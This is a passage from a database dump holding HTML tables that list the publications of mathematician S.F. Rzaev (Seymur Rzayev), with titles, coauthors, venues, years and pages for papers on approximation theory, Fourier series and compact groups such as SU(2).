\">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">1991</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;&nbsp;vol, XLV11. No 7-12</p><p style=\"background:undefined \">&nbsp;&nbsp;&nbsp;&nbsp; 3-6</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">38</p></td><td width=\"150\"><p style=\"background:undefined \">Generalization of the Weierstrass theorem on a sphere.</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \"><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Izv.-Vyssh- Uchebn.-Zaved.-Mat. [Izvestiya-Vysshikh-Uchebnykh-Zavedenii.- Matematika]</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">1985</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;No2</p><p style=\"background:undefined \">78-80</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">39</p></td><td width=\"150\"><p style=\"background:undefined \">Some questions of best approximation of continous functions on the unite sphere.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \"><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">Manuscript 3775-85. deposited at VINITI&nbsp; ,&nbsp; 7.06.85. (Izv.-Vyssh.-Uchebn .-Zaved.-Mat.),&nbsp; (In Russian).</p></td><td width=\"85\"><p style=\"background:undefined \">1985</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">&nbsp;1-19</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"150\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">40</p></td><td width=\"150\"><p style=\"background:undefined \">Some linear processes of summation of Fourier series in generalized spherical functions and best approximation<strong></strong></p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"75\"><p style=\"background:undefined \"><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p style=\"background:undefined \"><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p style=\"background:undefined \">. [Azerbaidzhanskii-Gosudarstvennyi- Universitet-imeni-M.-Kirova.-Uchebniye-Zapiski] (inRussian)</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"85\"><p style=\"background:undefined \">1978</p><p style=\"background:undefined \"><em>&nbsp;</em></p></td><td width=\"107\"><p style=\"background:undefined \">no.3</p><p style=\"background:undefined \">13—22</p><div><br></div></td></tr></tbody></table></div></div><br></div>'),(989,634,'en','Seymur Rzayev','Seymur Rzayev','<div><br></div><div style=\"font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-family:arial, helvetica, sans-serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"594\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"150\"><p>&nbsp;</p><p>#</p></td><td width=\"150\"><p>Title of 0publication&nbsp;</p><p>&nbsp;</p></td><td width=\"75\"><p>Publications type/publication activities</p><p>&nbsp;</p></td><td width=\"103\"><p>All Authors&nbsp;</p></td><td width=\"188\"><p>Publisher &amp; Place of&nbsp; Publication&nbsp;</p></td><td width=\"85\"><p>Year Published<strong>&nbsp;</strong></p></td><td width=\"107\"><p>Vol. &amp; Pages</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>1</p></td><td width=\"150\"><p>43<sup>rd</sup>&nbsp;Annual Iranian Math.&nbsp; Conference.</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td width=\"103\"><p>&nbsp;</p><p><strong>Rzaev, S.F</strong></p></td><td width=\"188\"><p>Tebriz (August 27-30),</p><p>&nbsp;</p></td><td width=\"85\"><p>2012</p><p>&nbsp;</p></td><td width=\"107\"><p>93</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>2</p></td><td width=\"150\"><p>Приближение в пространстве</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td width=\"103\"><p>Suleymanova</p><p>S.A.</p></td><td width=\"188\"><p>Baku.Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp;</p></td><td width=\"85\"><p>2011</p></td><td width=\"107\"><p>290-291</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>3</p></td><td width=\"150\"><p>H. Whitney’s type theorems for compact groups</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td width=\"103\"><p>Hüseynov F.B</p></td><td width=\"188\"><p>Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp; Baku</p></td><td width=\"85\"><p>2011</p></td><td width=\"107\"><p>145-147</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>4</p></td><td width=\"150\"><p>Weighted Lizorkin-Tribel spaces on the unit sphere.</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td width=\"103\"><p>Hüseynov F.B</p><p>Hamzayev O.H.</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"188\"><p>Baku,Inst.math the International Conferense devoted to the 80-th anniversary of F.M.Maksudov<strong>&nbsp;</strong></p></td><td width=\"85\"><p>&nbsp;</p><p>&nbsp;&nbsp; 2010</p></td><td width=\"107\"><p>&nbsp;</p><p>&nbsp;</p><p>144-146</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>5</p></td><td width=\"150\"><p>&nbsp;</p><p>Weighted Besov-Nikolskiy spaces on the unit sphere.</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td width=\"103\"><p>&nbsp;</p><p>Adigozelov</p><p>A.D.</p><p>Xalilov I. M.</p><p>&nbsp;</p></td><td width=\"188\"><p>Baku,Inst.math.the International Conferense devoted to the 80-th anniversary of F.M.Maksudov</p></td><td width=\"85\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>2010</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"107\"><p>&nbsp;</p><p>&nbsp;</p><p>75-77</p><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>6</p></td><td width=\"150\"><p>On characterizationoffractional powers of The Dunkl operator on the sphere with the help of fractionalfinite differences</p></td><td width=\"75\"><p>&nbsp;</p><p>&nbsp;</p><p>Conference</p><p>Proceedings</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"103\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>Huseynov, F.B.,</p></td><td width=\"188\"><p>Baku,State unversity International Conferense devoted to the 80-th anniversary of Y.C.Mamedov</p><p>&nbsp;</p></td><td width=\"85\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>2010</p></td><td width=\"107\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>89-90</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>7</p></td><td width=\"150\"><p>Weighted imultaneaously approximation on the unit sphere.</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td width=\"103\"><p>&nbsp;</p><p>Huseynov, F.B</p></td><td width=\"188\"><p>Baku,Inst.math.(Riyaziyyat-Mexanika institunun 50-illik yubleyi)</p><p>&nbsp;</p></td><td width=\"85\"><p>&nbsp;</p><p>&nbsp;</p><p>2009</p></td><td width=\"107\"><p>&nbsp;</p><p>&nbsp;</p><p>362-363</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>8</p></td><td width=\"150\"><p>Generalization of Peter-Weyl approximation theorem on $L^p$..</p></td><td width=\"75\"><p><strong>A</strong>rticle</p></td><td width=\"103\"><p>Vaezi, H.</p></td><td width=\"188\"><p>Southeast Asian Bull. Math. 33</p></td><td width=\"85\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>2009</p></td><td width=\"107\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>no. 3,</p><p>569--577</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>9</p></td><td width=\"150\"><p>Best simultaneous approximation on the unit sphere.</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi,E.</p></td><td width=\"188\"><p>Int. J. Pure Appl. Math. 47</p><p>&nbsp;</p></td><td width=\"85\"><p>2008</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>no. 1,</p><p>141--151 .</p><p>&nbsp;</p></td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\"><p>&nbsp;</p></td><td width=\"75\"><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>&nbsp;</p></td><td width=\"188\"><p>&nbsp;</p></td><td width=\"85\"><p><em>&nbsp;</em></p></td><td width=\"107\"><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>10</p></td><td width=\"150\"><p>Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math.</p><p>&nbsp;</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi,E.</p><p><strong>Rzaev, S. F</strong></p></td><td width=\"188\"><p>Int. J. Pure Appl. Math. 47</p><p>Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math. 20</p></td><td width=\"85\"><p>2007</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>no. 6,</p><p>779- 786.</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>11</p></td><td width=\"150\"><p>Spline generalized spherical functions on the sphere.</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi,E.</p><p><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p>Int. J. Pure Appl. Math. 31</p><p>&nbsp;</p></td><td width=\"85\"><p>2006</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>no. 1,</p><p>1--8 .</p><p>&nbsp;</p></td></tr><tr><td width=\"150\">12</td><td width=\"150\"><p>Best approximation on the sphere S<sup>3</sup>&nbsp;.</p></td><td width=\"75\"><p>Conference</p><p>Proceedings<strong>&nbsp;</strong></p></td><td width=\"103\"><p>&nbsp;Sediqhi,A.</p><p><strong>Rzaev,S.F&nbsp;</strong>&nbsp;</p></td><td width=\"188\"><p>4<sup>th</sup>&nbsp;&nbsp;&nbsp; Iranian Geometry and Topology seminar. Department of Mathematics of Urmiya University.(13-14 September)</p></td><td width=\"85\"><p>2006</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>&nbsp;</p><p>23</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>13</p></td><td width=\"150\"><p>Approximation theory on compact groups</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>St. Petersburg branch of Steklov Math. Institute&nbsp;</p><p>St. Petersburg State&nbsp; University&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>74-83</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>14</p></td><td width=\"150\"><p>Spline Generalized Spherical functions on the sphere.</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi E.&nbsp;<strong>, Rzaev, S.F.&nbsp;</strong></p></td><td width=\"188\"><p>Baku, Inst.math .( May 11-13 )</p><p>&nbsp;</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>no. 1,</p><p>141--142 .</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>15</p></td><td width=\"150\"><p>Spline on the CROSSES.</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Badrkhan Alizadeh,<strong>Rzaev,S.F.</strong></p></td><td width=\"188\"><p>Baku. Inst. math. (May 11-13)</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>41-43 .</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>16</p></td><td width=\"150\"><p>&nbsp;Direct and Inverse theorems</p><p>of approximation theory on compact groups.</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>Baku, Inst. math. (May 11-13)</p></td><td width=\"85\"><p>2005.<em>&nbsp;</em></p></td><td width=\"107\"><p>71-72 .</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>17</p></td><td width=\"150\"><p>&nbsp;Spline on the group SU(2)</p><p>&nbsp;</p></td><td width=\"75\"><p>Research Activities</p></td><td width=\"103\"><p>Aghdassi,E.</p><p><strong>Rzaev,S.F.</strong></p></td><td width=\"188\"><p>Tabriz university</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>no. 1--28 .</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>18</p></td><td width=\"150\"><p>Generalization of some theorems of approximation theory on compact groups.</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi,H.</p><p><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p>35<sup>nd</sup>&nbsp;&nbsp; Annual Iranian math. Conference. Ahvaz – Iran (January&nbsp; 26-29)</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>39</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>19</p></td><td width=\"150\"><p>Exact constant for best approximation on group SU(2).</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi,E.</p><p><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p>35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran (January 26-29).</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>&nbsp;&nbsp; 21 .</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>20</p></td><td width=\"150\"><p>Structural and Construction characterization of functions given on compact groups..</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi,H</p><p><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p>Yazd university 36<sup>th</sup>&nbsp;Annual Iranian math. conference. (September 10-13)</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>142-143.</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>21</p></td><td width=\"150\"><p>On modulus of smoothnessof functions given on compact groups.</p></td><td width=\"75\"><p>Article<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi,H.</p><p><strong>Rzaev, S. F.</strong></p></td><td width=\"188\"><p>Dynamical Syst.and Applications (July 5-10) 2004. p. 687-694</p></td><td width=\"85\"><p>2004</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>687-694</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>22</p></td><td width=\"150\"><p>Fourier series of differentiable functions on the group SU(2).</p><p>&nbsp;</p></td><td width=\"75\"><p>Research Activities</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi E.,<strong>Rzaev, S.F.</strong>&nbsp;</p></td><td width=\"188\"><p>Tabriz University</p></td><td width=\"85\"><p>2004<em>&nbsp;</em></p></td><td width=\"107\"><p>1-26</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>23</p></td><td width=\"150\"><p>Approximation theory on the compact symmetric space of rank one</p></td><td width=\"75\"><p>Research Activities&nbsp;<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Badrkhan Alizadeh,<strong>Rzaev, -S-.-F.</strong></p></td><td width=\"188\"><p>.Tabriz Technical (Azad University Shabestar) Institute P.O.Box: 51748-150.</p><p>&nbsp;</p></td><td width=\"85\"><p>2004</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>1-32</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>24</p></td><td width=\"150\"><p>Best approximation on the group SU(2).</p><p>&nbsp;</p></td><td width=\"75\"><p>Research Activities</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi E.,<strong>Rzaev, -S-.-F.</strong>&nbsp;</p></td><td width=\"188\"><p>Tabriz University</p></td><td width=\"85\"><p>2003-2004&nbsp;<em>&nbsp;</em></p></td><td width=\"107\"><p>1-18</p></td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\">&nbsp;</td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>25</p></td><td width=\"150\"><ul><li>Spline on the group SU(2).</li></ul><p>&nbsp;</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi,E.</p><p>R Agdassi E.,<strong>Rzaev, S.F</strong></p><p><strong><strong>Rzaev, S.F</strong><br></strong></p></td><td width=\"188\"><p>St. Petersburg, (July 3-8), 2003.</p></td><td width=\"85\"><p>2003</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>3.</p><p>&nbsp;</p></td></tr><tr><td width=\"75\"><p>&nbsp;</p><p>26</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Agdassi E.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>St. Petersburg, (July 3-8), 2003. p.3</p></td><td width=\"85\"><p>2003<em>&nbsp;</em></p></td><td width=\"107\"><p>3</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>27</p></td><td width=\"150\"><p>K-Functional and best approximation on the crosses.</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Alizadeh,-Badrkhan ;<strong>Rzaev ,S.F.</strong></p></td><td width=\"188\"><p>.Int.-J.-Compact.-Numer.-Appl. [International – Journal – of –Computational – and - Numerical- Analaysis – and - Applications]</p><p>&nbsp;</p></td><td width=\"85\"><p>2003</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>Vol-4</p><p>No1</p><p>29-41</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>28</p></td><td width=\"150\"><p>Fourier series of differentiable functions on SU(2) and SO(3)</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi E.&nbsp;<strong>, Rzaev ,S.F.</strong></p></td><td width=\"188\"><p>Int.-J.- Compact.-Numer.-Appl.[International-Journal-of-Computational-and-Numerical-Analaysis-and-Applications]</p></td><td width=\"85\"><p>2003</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>Vol-4</p><p>No,1</p><p>43-50</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>29</p></td><td width=\"150\"><p>&nbsp; Some constructive theorems of approximation theory on compact groups.</p><p>&nbsp;</p></td><td width=\"75\"><p>Research Activities</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>Tabriz University&nbsp;</p></td><td width=\"85\"><p>2002-2003</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>1-26</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>30</p></td><td width=\"150\"><p>Approximation of continuous functions on compact groups..</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>33<sup>th</sup>&nbsp;.Annual Iranian Math.&nbsp; Conference. Mashhad univ.</p></td><td width=\"85\"><p>2002</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>32</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>31</p></td><td width=\"150\"><p>Harmonic analysis on compact groups and applications of Approximation theory:</p><p>&nbsp;</p></td><td width=\"75\"><p>Research Activities</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>Tabriz, Res. Inst, Fund. Sci.&nbsp;</p></td><td width=\"85\"><p>2001-2002</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>1-24</p><p>&nbsp;</p></td></tr><tr><td width=\"150\">&nbsp;</td><td width=\"150\">&nbsp;</td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>32</p></td><td width=\"150\"><p>Jackson\'s theorem for compact groups..</p><p>&nbsp;</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Aghdassi,E.</p></td><td width=\"188\"><p>35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran(January</p></td><td width=\"85\"><p>2005</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>21.</p><p>&nbsp;</p></td></tr><tr><td width=\"75\"><p>&nbsp;</p><p>33</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>&nbsp;[Approximation&nbsp; Theory-and-its-Applications.-New- Series]</p></td><td width=\"85\"><p>2002<em>&nbsp;</em></p></td><td width=\"107\"><p>Vol-18</p><p>no. 3,</p><p>79—85</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>34</p></td><td width=\"150\"><p>Absolutly convergence of Fourier series from group point of view.</p><p>&nbsp;</p></td><td width=\"75\"><p>Conference</p><p>Proceedings</p><p><strong>&nbsp;</strong></p></td><td width=\"103\"><p>Vaezi, H.,<strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>32<sup>th</sup>&nbsp;annual Iranian conference. &nbsp;Mazandaran University&nbsp;</p></td><td width=\"85\"><p>2001</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>68</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>35</p></td><td width=\"150\"><p>L<sub>2</sub>- Approximation on the compact groups.</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><ul><li>Materials of scientific conference. The questions on functional analysis and math. Physics. Baku, University</li></ul><p>&nbsp;</p></td><td width=\"85\"><p>1999</p></td><td width=\"107\"><p>418-419</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>36</p></td><td width=\"150\"><p>Rhapsody on the group SU(2). materials</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p>Kh.P.Rustamov&nbsp;&nbsp;<strong>Rzaev, S.F.&nbsp;&nbsp;</strong></p></td><td width=\"188\"><p>. X1 republ.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conference, math and mech. Baku , 1994.( In Russian)</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"85\"><p>1994</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>37</p></td><td width=\"150\"><p>Best approximation on the group SU(2).)</p><p>&nbsp;</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>Dokl, Acad. Nauk. Azerb. SSR. 1991. ( In Russian).</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"85\"><p>1991</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>&nbsp;&nbsp;vol, XLV11. No 7-12</p><p>&nbsp;&nbsp;&nbsp;&nbsp; 3-6</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>38</p></td><td width=\"150\"><p>Generalization of the Weierstrass theorem on a sphere.</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>Izv.-Vyssh- Uchebn.-Zaved.-Mat. [Izvestiya-Vysshikh-Uchebnykh-Zavedenii.- Matematika]</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"85\"><p>1985</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>&nbsp;No2</p><p>78-80</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>39</p></td><td width=\"150\"><p>Some questions of best approximation of continous functions on the unite sphere.</p><p>&nbsp;</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>Manuscript 3775-85. deposited at VINITI&nbsp; ,&nbsp; 7.06.85. (Izv.-Vyssh.-Uchebn .-Zaved.-Mat.),&nbsp; (In Russian).</p></td><td width=\"85\"><p>1985</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>&nbsp;1-19</p><p>&nbsp;</p></td></tr><tr><td width=\"150\"><p>&nbsp;</p><p>40</p></td><td width=\"150\"><p>Some linear processes of summation of Fourier series in generalized spherical functions and best approximation<strong></strong></p><p>&nbsp;</p></td><td width=\"75\"><p><strong>A</strong>rticle<strong>&nbsp;</strong></p></td><td width=\"103\"><p><strong>Rzaev, S.F.</strong></p></td><td width=\"188\"><p>. [Azerbaidzhanskii-Gosudarstvennyi- Universitet-imeni-M.-Kirova.-Uchebniye-Zapiski] (inRussian)</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"85\"><p>1978</p><p><em>&nbsp;</em></p></td><td width=\"107\"><p>no.3</p><p>13—22</p></td></tr></tbody></table>  <br></div>'),(990,263,'az','Fənlərin təsviri','Fənlərin 